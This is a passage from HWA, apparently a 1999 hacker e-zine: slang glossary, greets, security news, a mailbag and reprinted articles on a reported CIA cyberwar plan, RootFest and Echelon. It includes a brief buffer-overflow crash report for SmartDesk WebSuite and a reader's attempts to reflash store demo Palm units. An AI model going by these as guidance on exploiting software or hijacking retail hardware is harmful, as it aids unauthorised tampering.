  683.     J00    - "you"(as in j00 are OWN3D du0d) - see 0wn3d
  684.  
  685.     MFI/MOI- Missing on/from IRC
  686.  
  687.     NFC   - Depends on context: No Further Comment or No Fucking Comment
  688.  
  689.     NFR   - Network Flight Recorder (Do a websearch) see 0wn3d
  690.  
  691.     NFW   - No fuckin'way
  692.  
  693.    *0WN3D - You are cracked and owned by an elite entity see pheer
  694.    *OFCS  - Oh for christ's sakes
  695.  
  696.     PHACV - And variations of same <coff>
  697.             Phreaking, Hacking, Anarchy, Cracking, Carding (CC) Groups Virus, Warfare
  698.  
  699.           Alternates: H - hacking, hacktivist
  700.                       C - Cracking <software>
  701.                       C - Cracking <systems hacking>
  702.                       V - Virus
  703.                       W - Warfare <cyberwarfare usually as in Jihad>
  704.                       A - Anarchy (explosives etc, Jolly Roger's Cookbook etc)
  705.                       P - Phreaking, "telephone hacking" PHone fREAKs ...
  706.                      CT - Cyber Terrorism
  707.  
  708.    *PHEER -  This is what you do when an ereet or elite person is in your presence
  709.             see 0wn3d
  710.  
  711.    *RTFM  - Read the fucking manual - not always applicable since some manuals are
  712.             pure shit but if the answer you seek is indeed in the manual then you
  713.             should have RTFM you dumb ass.
  714.  
  715.     TBC   - To Be Continued also 2bc (usually followed by ellipses...) :^0
  716.  
  717.     TBA   - To Be Arranged/To Be Announced also 2ba
  718.  
  719.     TFS   - Tough fucking shit.
  720.  
  721.    *w00t  - 1 - Reserved for the uber ereet, noone can say this without severe repercussions
  722.             from the underground masses. also "w00ten" <sic>
  723.  
  724.             2 - Cruciphux and sAs72's second favourite word (they're both shit stirrers)
  725.  
  726.     *wtf  - what the fuck
  727.  
  728.     *ZEN  - The state you reach when you *think* you know everything (but really don't)
  729.             usually shortly after reaching the ZEN like state something will break that
  730.             you just 'fixed' or tweaked.
  731.             
  732.      @HWA            
  733.      
  734.      
  735.                             -=-    :.    .:        -=-
  736.                             
  737.                             
  738.                             
  739.  
  740.  01.0 Greets!?!?! yeah greets! w0w huh. - Ed
  741.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  742.  
  743.      Thanks to all in the community for their support and interest but i'd
  744.      like to see more reader input, help me out here, whats good, what sucks
  745.      etc, not that I guarantee i'll take any notice mind you, but send in
  746.      your thoughts anyway.
  747.  
  748.  
  749.        * all the people who sent in cool emails and support
  750.        
  751.      FProphet       Pyra                TwstdPair      _NeM_
  752.      D----Y         Kevin Mitnick (watch yer back)     Dicentra
  753.      vexxation      sAs72               Spikeman       Astral
  754.      p0lix          Vexx                g0at security
  755.      
  756.      Shouts to tekz from HK for asking nicely in eye-are-see! ;-)
  757.      and to t4ck for making my night albeit I couldn't stick around for
  758.      the rest of the comedy routine. hacked star dot star with phf huh?
  759.      .... ;-))
  760.           
  761.      and the #innerpulse, crew and some inhabitants of #leetchans .... 
  762.      although I use the term 'leet loosely these days, <k0ff><snicker>  ;)
  763.        
  764.      
  765.      kewl sites:
  766.  
  767.      + http://www.l0pht.com/
  768.      + http://www.2600.com/
  769.      + http://www.freekevin.com/
  770.      + http://www.genocide2600.com/
  771.      + http://www.genocide2600.com/~spikeman/
  772.      + http://www.genocide2600.com/~tattooman/
  773.      + http://www.hackernews.com/ (Went online same time we started issue 1!)
  774.      + http://www.net-security.org/
  775.      + http://www.slashdot.org/
  776.      + http://www.freshmeat.net/
  777.      + http://www.403-security.org/
  778.      + http://ech0.cjb.net/
  779.  
  780.      @HWA
  781.  
  782.  
  783.  01.1 Last minute stuff, rumours and newsbytes
  784.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  785.  
  786.        "What is popular isn't always right, and what is right isn't
  787.          always popular..."
  788.                            - FProphet '99
  789.                            
  790.        
  791.  
  792.     +++ When was the last time you backed up your important data?
  793.     
  794.      ++ THE FIRST TRUE CYPHERPUNK NOVEL (CULT. 3:00 am)
  795.         http://www.wired.com/news/news/email/explode-infobeat/culture/story/19720.html
  796.  
  797.         Two generations of swashbuckling geeks tackle the forces of
  798.         evil. Call it hip, call it funny. But you can't call it
  799.         light summer reading. Declan McCullagh reviews Neal Stephenson's Cryptonomicon.
  800.         
  801.         (checkout www.cryptonomicon.com also - Ed)
  802.      
  803.      
  804.      ++ STUDENTS ARRESTED
  805.      
  806.         From HNS http://www.net-security.org/
  807.         
  808.         by BHZ, Friday 28th May 1999 on 12.02 am CET
  809.         Five Flagler Palm Coast High School students - one the son of a Bunnell city
  810.         commissioner - are facing a litany of criminal charges after authorities said they used
  811.         a computer trojan to hack into the school's network and commandeer teacher and
  812.         student files. Flagler County sheriff's deputies arrested the students Monday. All five
  813.         were taken to the Division of Youth Services in Daytona Beach before being released
  814.         to their parents.
  815.      
  816.      
  817.      
  818.      ++ FIGHT THE CENSORSHIP
  819.      
  820.         From HNS http://www.net-security.org/
  821.         
  822.         by BHZ, Thursday 27th May 1999 on 9.53 pm CET
  823.         Yesterday, the Australian Senate passed legislation to censor the Internet. In order to
  824.         protest censorship people will join with like minded groups and individuals in a day of
  825.         action against censorship. Download flyers here and sure do visit Electronic Frontiers
  826.         Australia site.  
  827.         
  828.         http://www.anatomy.usyd.edu.au/danny/freedom/march/
  829.         http://www.efa.org.au
  830.  
  831.      ++ SMARTDESK WEBSUITE BUFFER OVERFLOW
  832.  
  833.         From HNS http://www.net-security.org/
  834.         
  835.         by BHZ, Thursday 27th May 1999 on 9.47 pm CET
  836.         As posted on BugTraq by cmart: "WebSuite v2.1 will crash when an additional 250+
  837.         characters is appended after the sites URL on NT Server 4 and NT Workstation 4
  838.         boxes. Running on top of Windows 98 it will crash with 150+ characters appended
  839.         after the sites URL. After reinstallating on both platforms several times, the overflow
  840.         string length varied. Approximately 1 out of 8 times the overflow string went from 150
  841.         chars (Win98) to about 1000+ chars. It also went from 250+ chars (NT) to about
  842.         2000+ chars".
  843.  
  844.    ++   GETTING ZAPPED FOR BETTER Z'S (TECH. 3:00 am)
  845.         http://www.wired.com/news/news/email/explode-infobeat/technology/story/19713.html
  846.  
  847.         Relief is on the way for chronic snorers and their partners. 
  848.         A new therapy uses radio waves to treat the breathing
  849.         disorder known as sleep apnea. By Kristen Philipkoski
  850.  
  851.       Mucho thanks to Spikeman for directing his efforts to our cause of bringing
  852.       you the news we want to read about in a timely manner ... - Ed
  853.  
  854.      @HWA
  855.  
  856.  01.2 MAILBAG - email and posts from the message board worthy of a read
  857.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  858.  
  859.       Hacking the Palm Pilot demos... 
  860.  
  861.  
  862.       Date: Thu, 20 May 1999 23:56:05 -0400 
  863.       From: scosha@home.com 
  864.       Organization: @Home Network 
  865.       X-Mailer: Mozilla 4.51 [en]C-AtHome0404  (Win98; U) 
  866.       X-Accept-Language: en 
  867.       MIME-Version: 1.0 
  868.       To: hwa@press.usmc.net 
  869.       Subject: subject for newsleter 
  870.       Content-Type: text/plain; charset=us-ascii 
  871.       Content-Transfer-Encoding: 7bit 
  872.       
  873.       
  874.       As we all know 3Com has recently released the Palm IIIx and V.
  875.       
  876.       
  877.       The Palm V demo in store displays is a dummy unit with a hunk of lead
  878.       inside.
  879.       
  880.       
  881.       On the other hand the Palm IIIx is a fully working unit. There is a
  882.       trick to make it work 100%. Like it's predecesor the Palm III the demo,
  883.       if you could get your hands on one was not hard to reflash the OS rom
  884.       and presto you had a Palm III worth $500.00 and there was little effort
  885.       involved. 
  886.       
  887.       
  888.       The IIIx poses a little more difficulty. They have employed a new
  889.       strategy. 1st 3Com went with the new Ezball Motorola Dragon processor,
  890.       and put the Os in static non volitile memory. While it's not hard to
  891.       download a fresh copy of the OS from a real store bought IIIx, the trick
  892.       is in flashing the demo unit. The programs used to flash the III does
  893.       not work on the IIIx, all you will get is a 'wrong header card version'
  894.       message, which basiclly seals your fate. I have been working on trying
  895.       to flash the proper OS replacing the demo OS (which won't allow you to
  896.       input anything) to no avail. I put it out to the people who do these
  897.       things best. I know not what to do from here. I have a few insiders
  898.       helping but it is a much kept secret. 
  899.       
  900.       
  901.       zzcrazyman
  902.             
  903.        ================================================================       
  904.  
  905.       @HWA
  906.  
  907.  
  908.  02.0 From the editor.
  909.       ~~~~~~~~~~~~~~~~
  910.  
  911.      #include <stdio.h>
  912.      #include <thoughts.h>
  913.      #include <backup.h>
  914.  
  915.      main()
  916.      {
  917.       printf ("Read commented source!\n\n");
  918.  
  919.      /*
  920.       *Well things are moving along rather smoothly, its been a comparitively
  921.       *slow (but interesting) week on the news front with some FBI action coming
  922.       *down on people and shit, not a good time for hacker groups right now as      
  923.       *it looks like the crackdown is only going to get worse in the future.
  924.       *
  925.       *Anyway, drop into #hwa.hax0r.news the key is usually off and we're a  
  926.       *friendly bunch, stop by and chat about some of the stories here or that
  927.       *you've seen elsewhere, other than that take it easy til next time...
  928.       *
  929.       *Here's #20, have at it...<snork, snork>
  930.       */
  931.       printf ("EoF.\n");
  932.       }
  933.  
  934.  
  935.       Congrats, thanks, articles, news submissions and kudos to us at the
  936.      main address: hwa@press.usmc.net complaints and all nastygrams and
  937.      mailbombs can go to /dev/nul nukes, synfloods and papasmurfs to
  938.      127.0.0.1, private mail to cruciphux@dok.org
  939.  
  940.      danke.
  941.  
  942.      C*:.
  943.  
  944.  
  945.      @HWA
  946.      
  947.  03.0 Clinton Authorizes Cyber Attack??? 
  948.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  949.       
  950.       From HNN http://www.hackernews.com/     
  951.  
  952.       contributed by Sangfroid 
  953.       Reuters and Wired Online articles are referencing a print
  954.       story in Newsweek that claims that President Clinton
  955.       has authorized a "top-secret" plan against Slobodan
  956.       Milosevic. One part of this plan would use "computer
  957.       hackers" to attack his foreign bank accounts. Reuters
  958.       also claimed that Newsweek said that the report
  959.       instructed the CIA to wage "cyberwar" against Milosevic. 
  960.  
  961.       Now there are still a few questions that are not
  962.       answered in this news article. If the report was so
  963.       top-secret how did NewsWeek learn of it? Won't other
  964.       countries be rather upset when we "hack" into their
  965.       banks? And aren't his bank accounts frozen anyway, so
  966.       what is the point of breaking in? News week even
  967.       admits that it does not have access to the original
  968.       report. Once again until we see confirmation HNN will
  969.       treat this story as extremely suspect. 
  970.  
  971.       Newsweek
  972.       http://www.newsweek.com/nw-srv/printed/us/in/in0922_1.htm
  973.       Reuters- Via Yahoo
  974.       http://dailynews.yahoo.com/headlines/ts/story.html?s=v/nm/19990523/ts/yugoslavia_usa_cyberwar_2.html
  975.       
  976.       Wired 
  977.       http://www.wired.com/news/news/politics/story/19836.html
  978.       
  979.       
  980.       Newsweek
  981.        
  982.       EXCLUSIVE 
  983.       
  984.       Cyberwar and Sabotage
  985.  
  986.       President Clinton has OK'd a top-secret plan to destabilize
  987.       Milosevicùand go after his money 
  988.  
  989.       By Gregory L. Vistica 
  990.  
  991.       Covert action is seductive to policymakers in a bind. When diplomacy fails
  992.       and force falls short, presidents often turn to the CIA for secret solutions
  993.       to vexing problems. Unable to make the air war against Serbian leader
  994.       Slobodan Milosevic effective, and unwilling to invade with ground troops,
  995.       President Clinton has decided to try a clandestine third way. Earlier this
  996.       month national-security adviser Sandy Berger presented Clinton with a
  997.       covert plan to squeeze Milosevic. 
  998.  
  999.       The president liked the idea. Senior intelligence officials tell NEWSWEEK
  1000.       that last week Clinton issued a "finding," a highly classified document
  1001.       authorizing the spy agency to begin secret efforts "to find other ways to get
  1002.       at Milosevic," in the words of one official. Two weeks ago Berger secretly
  1003.       briefed members of the House and Senate Intelligence committees about
  1004.       the details of the two-part plan. According to sources who have read the
  1005.       finding, the CIA will train Kosovar rebels in sabotageùage-old tricks like
  1006.       cutting telephone lines, blowing up buildings, fouling gasoline reserves and
  1007.       pilfering food suppliesùin an effort to undermine public support for the
  1008.       Serbian leader and damage Yugoslav targets that can't be reached from
  1009.       the air. That much is unsurprising. But the CIA has also been instructed to
  1010.       conduct a cyberwar against Milosevic, using government hackers to tap
  1011.       into foreign banks and, in the words of one U.S. official, "diddle with
  1012.       Milosevic's bank accounts." 
  1013.  
  1014.       The finding was immediately criticized by some lawmakers who
  1015.       questioned the wisdomùand legalityùof launching a risky covert action
  1016.       that, if discovered, could prolong the war, alienate other NATO
  1017.       countriesùand possibly blow back on the United States. Under the
  1018.       finding, the allies were to be kept in the dark about the plan. Other
  1019.       members of Congress privy to the finding wondered about its timing. Why
  1020.       did Clinton authorize the operation just as diplomats had begun making
  1021.       progress on a peace agreement? The White House declined to comment
  1022.       on the finding, and NEWSWEEK does not have access to the entire
  1023.       document. But some intelligence officials with knowledge of its contents
  1024.       worry that the finding was put together too hastily, and that the potential
  1025.       consequences haven't been fully thought out. "If they pull it off, it will be
  1026.       great," says one government cyberwar expert. "If they screw it up, they
  1027.       are going to be in a world of trouble." 
  1028.       
  1029.       By far the most controversialùand probably most difficultùpart of the
  1030.       operation would be the effort to hack into Milosevic's foreign bank
  1031.       accounts. Intelligence sources believe they have identified banks in several
  1032.       countries, including Russia, Greece and Cyprus, where the Serb leader has
  1033.       hidden millions of dollars. But the Hollywood vision of a brainy nerd
  1034.       draining bank accounts from his computer at CIA headquarters is a
  1035.       fantasy. According to government intelligence experts, agents would have
  1036.       to visit each of the banks, set up new accounts, then carefully watch how
  1037.       the institution operates and look for weak links in its security. The National
  1038.       Security Agency's hackers would use that information to try to overcome
  1039.       today's sophisticated encryption software and fire walls. If they gained
  1040.       access, the hackers could do almost anything they liked with Milosevic's
  1041.       cashùsteal it, move it to a dummy account or slowly drain it away a few
  1042.       thousand dollars at a time. 
  1043.  
  1044.       But should they? The idea of a U.S.-sponsored plan to break into foreign
  1045.       banks unnerves some intelligence officials, who point out that the operation
  1046.       would be a breach of national sovereignty in friendly countries and open
  1047.       the door to computer attacks on U.S. banks. What's more, the United
  1048.       States would be the main loser if confidence in the world banking system
  1049.       were undermined. 
  1050.  
  1051.       The sabotage plan also entails some serious problems. The CIA would
  1052.       somehow have to find and train guerrillas without helping the Kosovo
  1053.       Liberation Army, which the administration itself labeled a terrorist
  1054.       organization just a year ago and which is believed to fund its operations
  1055.       with profits from international drug smuggling. In the chaos now prevailing
  1056.       in Kosovar refugee camps it will not be easy for the CIA to make sure the
  1057.       anti-Milosevic rebels it signs up have no KLA ties. Intelligence officials
  1058.       also worry it would be difficult to control the U.S.-trained rebels once
  1059.       boot camp is over and they are set loose on Milosevic. "I'm afraid they
  1060.       could use their training to carry out atrocities," says John Rothrock, the Air
  1061.       Force's former chief of intelligence planning. "If they think they can rein
  1062.       them in, it's tremendous naivetΘ." 
  1063.  
  1064.       Congress can complain all it likes, but it has no legal authority to stop the
  1065.       finding. Lawmakers can try to block the plan by refusing to provide money
  1066.       for the covert action, but the president can tap into his emergency funds to
  1067.       finance it. At this point, it is not at all certain that the finding will ultimately
  1068.       be carried out. If the grumblings from the Hill and the intelligence
  1069.       community grow too loud, or if the risk-averse CIA chooses to drag its
  1070.       feet, the president may opt to quietly kill the findingùand pretend it never
  1071.       existed. 
  1072.  
  1073.       Newsweek, May 31, 1999 
  1074.       
  1075.       @HWA
  1076.       
  1077.  03.1 More on the Cyberwar
  1078.       ~~~~~~~~~~~~~~~~~~~~
  1079.       
  1080.       Contributed by Twstdpair (Source: MSNBC)
  1081.       
  1082.       Cyberwar? The U.S. stands to lose
  1083.       Experts argue plan to raid Milosevic's bank accounts would do more harm
  1084.       than good 
  1085.       
  1086.       May 28 - It sounded like a TomClancy spy novel.Newsweekreported last week
  1087.       that the CIAwas planning to tinker withinternational bank accounts fullof Slobodan
  1088.       Milosevic's money -just another way of getting under the Yugoslav president's skin.
  1089.       Information warfare experts disagree about the feasibility of such a cyberattack. But
  1090.       there's little disagreement the U.S. stands to lose much more than itmight gain from 
  1091.       firing the firstvolley in such an infomation war.In fact, some believe damage has 
  1092.       already been done. 
  1093.       
  1094.       THE NEWSWEEK STORY RAISED several issues: What international lawswould govern a 
  1095.       U.S.-backed attack ona bank in a third-party nation? Is suchan attack feasible in the 
  1096.       first place? What kind of retaliation might U.S.citizens, and their bank accounts, 
  1097.       face? But most important, what does even the possibility of such an attack do to the
  1098.       integrity of international banking systems? The story on the cyberattack - fact, fiction 
  1099.       or somewhere in between - could already have put the U.S. at risk,said Kawika M. Dajuio,
  1100.       executive vice president of the Financial Information Protection Association.
  1101.       
  1102.       Banking systems hinge on public confidence. You put the money in; you're confident you'll
  1103.       be able to take the money out. If there's any hint you might not be able to get at your 
  1104.       money, you'd withdraw it. Any attack on the integrity of a banking system anywhere - 
  1105.       particularly when retaliation seems like such an obvious possibility - chips away at 
  1106.       public confidence. "It bothers me because we have had conversations with the defense and 
  1107.       intelligence community. We thought this was off the table," Dajuio said.  "We've had 
  1108.       discussions with rather senior policy-makers. We thought they understood the importance 
  1109.       of protecting public confidence in the payment system." But retaliation by foreign agents
  1110.       might be just one source of insecurity for U.S. account holders. There's another: If the 
  1111.       government can and is willing to tinker with foreign accounts, what will stop it from 
  1112.       tinkering with mine? 
  1113.       
  1114.       COULD IT BE DONE? Could U.S. agents hijack Milosevic's money, allegedly stashed away in
  1115.       foreign banks? Yes and no. Experts agree that the CIA has had the know-how to control 
  1116.       bank accounts for years, through old- fashioned non-cyber methods, such as coercing bank
  1117.       authorities, or even through legal methods such as freezing accounts. On the other hand,
  1118.       it's not easy when the target knowns what's coming. According to MSNBC analyst Bill Arkin,
  1119.       the international community, including UNSCOM, is still trying to get its hands on Saddam 
  1120.       Hussein's assets. And such real-world tactics are a far cry from the cyberwar image of a 
  1121.       few CIA hackers sitting at a keyboard moving around money thanks to an Internet connection
  1122.       and some wits. There's disagreement about how possible that might be. "The audits we have 
  1123.       performed tell us [banks] are not invulnerable," says a security expert identifying himself
  1124.       as Space Rogue. Rogue works at L0pht Heavy Industries, which hires out to hack corporate 
  1125.       computer systems to test their vulnerability. "Banks have a little more security in place,
  1126.       but that security is still not at a level where it's unbreakable." While money systems aren't
  1127.       connected to the public Internet, "sometimes they have a modem dangling off for remote access,
  1128.       or they use cryptography, but not correctly," he said. Others suggest cracking a bank that 
  1129.       holds Milosevic money - outside the more traditional methods - is nearly impossible.  "I deal
  1130.       in probabilities, and I've never seen it," said a man identifying himself as Louis Cipher, a
  1131.       principal investor in Infowar.com. Cipher is also in charge of security at what he says is the
  1132.       "sixth-largest brokerage in America." He suggested very few individuals have the skills 
  1133.       necessary to "tunnel" from an Internet connection through mainframe systems in banks - in 
  1134.       fact, a team of specialists and inside information would be required."You'd have to be an 
  1135.       applications specialist to even navigate to a screen," he said. "You're talking well beyond
  1136.       the skills of hackers. It would have to be an insider working with Job Control Language 
  1137.       sitting on the mainframe. The only one who would have that ability other than the U.S. 
  1138.       government would be organized crime." And Cipher is skeptical about the U.S. government's 
  1139.       ability to hire and hold the brightest minds in the security industry - since no government
  1140.       agency can match the lure of stock options offered by a high-tech firm. Still, even the 
  1141.       possibility of the U.S. using a wired computer to move Milosevic's money drew swift reaction
  1142.       from information warfare observers. Even hacker groups protested the notion, with a hacker 
  1143.       calling himself "sixtoed" setting up a Web page in protest. The reason: Since the U.S. relies
  1144.       more on technology and information than any other nation, it stands to lose the most from such
  1145.       a cyberwar. "I am not one for an information arms race," said Frank Cilluffo, senior analyst at
  1146.       the Center for Strategic and International Studies in Washington. "We will lose that race.... 
  1147.       We're a hell of a lot more susceptible to retaliation. The defensive implications outweigh the
  1148.       offensive implications." Anyone can build up an information
  1149.       warfare capability, Cilluffo said. And it's much more like guerrilla war than nuclear war - it's
  1150.       easy for the enemy to hide, and there's no real deterrent. Therefore, retaliation could be swift
  1151.       and indiscriminate. In addition, there is a general principle among security experts suggesting
  1152.       once a system's security is compromised, it's much easier to compromise a second time. So the U.S.
  1153.       could very well be paving the way for retribution. 
  1154.       
  1155.       WHY NO DENIALS?  Fear of such retaliation attempts, or even the perception of such retaliation 
  1156.       attempts, drove Dajuio to start calling his friends on the intelligence community to complain
  1157.       as soon as the Newsweek story hit. He has yet to receive the reassurance he was hoping for.
  1158.       "If it's true or it's just leaks, it's bad to have the story out there," Dajuio said. "I have yet
  1159.       to have anyone tell me 'Don't worry, everything's OK.' ... If they haven't done anything, the
  1160.       most appropriate thing to do is to come out and say they're not doing it."
  1161.       The CIA isn't doing that; a spokesperson told MSNBC the agency couldn't comment on its activities,
  1162.       but one source familiar with U.S. intelligence capabilities tells MSNBC to be "very skeptical" of the
  1163.       Newsweek story. Meanwhile, opening the Pandora's box of cyberwar would lead to a
  1164.       series of yet-to-be answered questions. International law isn't ready to handle such conflicts, says
  1165.       Cilluffo - so if the U.S. broke into a bank in Cyprus, what laws would govern that act? And could the
  1166.       compromised bank sue the U.S. government? "What are the rules of engagement
  1167.       here?" Cilluffo asked. "What is game, what is not game? This may be a harbinger of how we prosecute and
  1168.       wage war in the future."
  1169.      
  1170.       @HWA
  1171.       
  1172.  04.0 RootFest Scares Officials In Minneapolis 
  1173.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  1174.         
  1175.       From HNN http://www.hackernews.com/        
  1176.       
  1177.       contributed by erewhon 
  1178.       The hacker convention RootFest was held in Minneapolis
  1179.       over the weekend. Evidently this scared the local
  1180.       authorities enough to shut down several vulnerable
  1181.       points in its computer network. The city respond to the
  1182.       three day hacker convention by shutting down some
  1183.       older dial-up modem lines. (Wonder if they will come
  1184.       back online afterwards?) Other reports also indicate
  1185.       that the Minneapolis City Police also shut down its
  1186.       computer network over the weekend. 
  1187.  
  1188.       APB Online
  1189.       http://www.apbonline.com/911/1999/05/21/hackers0521_01.html
  1190.       
  1191.       WCCO Channel 4
  1192.       http://www.wcco.com/news/stories/news-990521-184737.html
  1193.       
  1194.       RootFest
  1195.       http://www.rootfest.org
  1196.       
  1197.       City of Minneapolis Action Plan     
  1198.       http://www.rootfest.org/Press/park.txt
  1199.       
  1200.       APB Online:
  1201.       
  1202.       HACKERS WORRY MINNEAPOLIS OFFICIALS
  1203.       City Secures Its Computers as Conference Comes to Town 
  1204.  
  1205.       May 21, 1999 
  1206.  
  1207.       By Hans H. Chen 
  1208.  
  1209.       MINNEAPOLIS (APBNews.com) -- The arrival of several hundred
  1210.       computer hackers this weekend has prompted the city to shut down
  1211.       several vulnerable points in its computer network. 
  1212.  
  1213.       While the city's computer guru called the weekend shutdown "an
  1214.       opportunity to remind ourselves of network-based security," the
  1215.       conference organizer called the measures "an overly paranoid
  1216.       precaution." 
  1217.  
  1218.       The hackers descended today on the Minneapolis Convention Center for
  1219.       RootFest 99, a three-day discussion of computer security open to "the
  1220.       computer underground, hackers, IT professionals, government agents,
  1221.       feds," according to the conference's Web site. 
  1222.  
  1223.       The conference features sessions entitled "Circumventing Internet
  1224.       Censorship," and "Internet Security in Europe: State of Affairs."
  1225.       Speakers include both hackers and computer security consultants 
  1226.  
  1227.       City downplays concerns 
  1228.  
  1229.       But the city responded to the event by closing off some older dial-up
  1230.       modem lines that a few telecommuting employees and remote city
  1231.       agencies still use to connect into the city's network. 
  1232.  
  1233.       Don Saelens, the city's information technology manager, downplayed
  1234.       concerns about possible hacking attempts. 
  1235.  
  1236.       The conference, Saelens said, presented "an opportunity to remind
  1237.       ourselves of network-based security." 
  1238.  
  1239.       But Saelens did admit that the timing of the system shutdown was not
  1240.       wholly coincidental. 
  1241.  
  1242.       "We've been doing a number of upgrades on our own networks, and
  1243.       these were all slated to go out anyway this year," Saelens said. "I have
  1244.       to admit, [this conference] was a reminder of network security that
  1245.       heightened the awareness." 
  1246.  
  1247.       Police reportedly shut down 
  1248.  
  1249.       In addition, the Minneapolis Star Tribune reported that the city Police
  1250.       Department shut down its computer network over the weekend. Saelens
  1251.       and a police official refused to confirm the report, citing safety
  1252.       concerns. 
  1253.  
  1254.       "The only thing the police is saying is we are not releasing anything we
  1255.       are doing for security reasons," said Penny Parrish, a police
  1256.       department spokeswoman. 
  1257.  
  1258.       'Hacker threat'? 
  1259.  
  1260.       Chris Lothos, an organizer of RootFest, attacked the city's measures in
  1261.       a dispatch on the RootFest Web site. 
  1262.  
  1263.       "It's an overly paranoid precaution taken for the 'hacker threat' that
  1264.       RootFest supposedly poses to the world at large," Lothos wrote. 
  1265.  
  1266.       The conference also printed on its Web site a copy of the e-mail memo
  1267.       Saelens sent to city employees alerting them to the security measures.
  1268.       Saelens said he's not sure how the group got a copy of his e-mail. 
  1269.       
  1270.       
  1271.       >Subject:       FW: NOTICE TO ALL PARK BOARD COMPUTER USERS regarding Hacker
  1272.       >Conference this weekend
  1273.       >Importance:    High
  1274.       >
  1275.       >Minneapolis Park and Recreation ITS Hacker conference action plan:
  1276.       >
  1277.       >       In response to the City's action plan noted below, Park Board ITS
  1278.       >will be disabling the Park Board's Email services Friday evening, May 21st
  1279.       >through Monday morning, May 24th.  Park Board users will not have access
  1280.       >at all to their Park Board Email accounts during this time.
  1281.       >
  1282.       >In addition - Dial-In (Reachout) services will be disabled Thursday
  1283.       >evening, May 20th beginning at 8:00pm through Monday morning, May 24th.
  1284.       >The Minneapolis rec centers and other remote users will not be able to
  1285.       >access their Reachout accounts during this time.  Remote  PEIRS users
  1286.       >entering time are advised to do so by Thursday evening, May 20th by
  1287.       >8:00pm.
  1288.       >PEIRS users downtown, at the SSSC, or on frame-relay (golf courses)  will
  1289.       >be able to enter in time as usual.
  1290.       >
  1291.       >If you have questions, please contact the Park Board Help Desk at
  1292.       >661-XXXX.  Thank you for your cooperation.
  1293.       >
  1294.       >Larry Brandts
  1295.       >Park Board ITS Manager
  1296.       >
  1297.       >
  1298.       >-----Original Message-----
  1299.       >From:  XXXXXXXXXXX Sent:       Wednesday, May 19, 1999 10:35 AM
  1300.       >To:    All Exchange Users
  1301.       >Subject:       NOTICE TO ALL CITY COMPUTER USERS
  1302.       >
  1303.       >To all City Staff,
  1304.       >RootFest '99, a convention of so-called computer "hackers" will be meeting
  1305.       >in Minneapolis this weekend, May 21-23.  You may have read news stories
  1306.       >about individuals (hackers) who have used their computer programming
  1307.       >skills to gain unauthorized access (hack) into computer networks of
  1308.       >government agencies, businesses, banks, or other high-profile
  1309.       >organizations.  Sometimes, these individuals hack into computers to
  1310.       >perform fairly harmless computer pranks.  However, that is not always the
  1311.       >case.  Hackers can also infect entire computer networks with disabling
  1312.       >viruses.
  1313.       >
  1314.       >As a precautionary measure, we are reminding you of safe computing
  1315.       >practices that should already be followed, as well as some additional
  1316.       >steps we will be taking to protect the City from any unauthorized access
  1317.       >to our network.  To be successful, we will need the active participation
  1318.       >of all City staff.
  1319.       >
  1320.       >1.  Employees must turn off their computer terminals at the close of
  1321.       >business each night.
  1322.       >
  1323.       >2.  Those who have an individual analog phone line and modem should be
  1324.       >turning off the modem every night.  There are very few of these individual
  1325.       >analog lines and modems left in the City, and they are being phased out
  1326.       >because of their risk to network security.   Anyone who has one of the new
  1327.       >City image pc's does not have worry about this issue, as they are using
  1328.       >the new City standard for remote access.  If you have not had a line/modem
  1329.       >installed, you do not need to do anything except turn off your pc.
  1330.       >
  1331.       >3.  Employees will not have access to their City email accounts at all
  1332.       >beginning Friday evening through Monday morning.  There will not be access
  1333.       >to email outside of the City from Thursday evening through Monday morning.
  1334.       >
  1335.       >4.  Access to the City's network from outside locations will be
  1336.       >temporarily cancelled Thursday evening through Monday morning.  This will
  1337.       >not impact the majority of staff members, but as an example, if you can
  1338.       >currently check your City email account from home, you will not be able to
  1339.       >do so during that timeframe.
  1340.       >
  1341.       >Employees who will be at work over the weekend will have access to Insite,
  1342.       >the City's intranet, as well as the Internet.
  1343.       >   While I do not believe the City will be a target for these individuals, 
  1344.       >it
  1345.       >is a prudent business decision to follow these simple safety precautions.
  1346.       >If you have questions regarding any of these steps, please contact Wanda
  1347.       >Forsythe, in ITS Security.  Her number is 673-XXXX.
  1348.       >
  1349.       >Thank you for your attention to this matter.
  1350.       >
  1351.       >- Don Saelens
  1352.       >*  *  *  *  *  *  *  Sara Dietrich, Communications Department
  1353.       >673-XXX; 673-XXXX (fax)
  1354.       
  1355.       @HWA
  1356.       
  1357.  05.0 Australia Admits to Echelon 
  1358.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~
  1359.       
  1360.       from HNN http://www.hackernews.com/   
  1361.  
  1362.       contributed by erewhon 
  1363.       Martin Brady, director of the Defense Signals Directorate
  1364.       in Canberra Austrailia has admitted that his country
  1365.       does participate in a secret spy organization known as
  1366.       UKUSA. This organization works with the intelligence
  1367.       agencies of Australia, Canada, New Zealand, the UK and
  1368.       the USA to intercept every fax, telex, e-mail, phone
  1369.       call, or computer data that is carried via commercial
  1370.       satellite communications. This global eavesdropping is
  1371.       known as Echelon 
  1372.  
  1373.       The Age
  1374.       http://www.theage.com.au/daily/990523/news/news3.html
  1375.       
  1376.       The Age;
  1377.       
  1378.       Careful, they might hear you 
  1379.  
  1380.       By DUNCAN CAMPBELL 
  1381.  
  1382.       Australia has become the first country openly to admit that it
  1383.       takes part in a global electronic surveillance system that
  1384.       intercepts the private and commercial international
  1385.       communications of citizens and companies from its own and
  1386.       other countries. The disclosure is made today in Channel 9's
  1387.       Sunday program by Martin Brady, director of the Defence
  1388.       Signals Directorate in Canberra.
  1389.  
  1390.       Mr Brady's decision to break ranks and officially admit the
  1391.       existence of a hitherto unacknowledged spying organisation
  1392.       called UKUSA is likely to irritate his British and American
  1393.       counterparts, who have spent the past 50 years trying to prevent
  1394.       their own citizens from learning anything about them or their
  1395.       business of ``signals intelligence'' - ``sigint'' for short.
  1396.  
  1397.       In his letter to Channel 9 published today, Mr Brady states that
  1398.       the Defence Signals Directorate (DSD) ``does cooperate with
  1399.       counterpart signals intelligence organisations overseas under the
  1400.       UKUSA relationship".
  1401.  
  1402.       In other statements which have now been made publicly
  1403.       available on the Internet (www.dsd.gov.au), he also says that
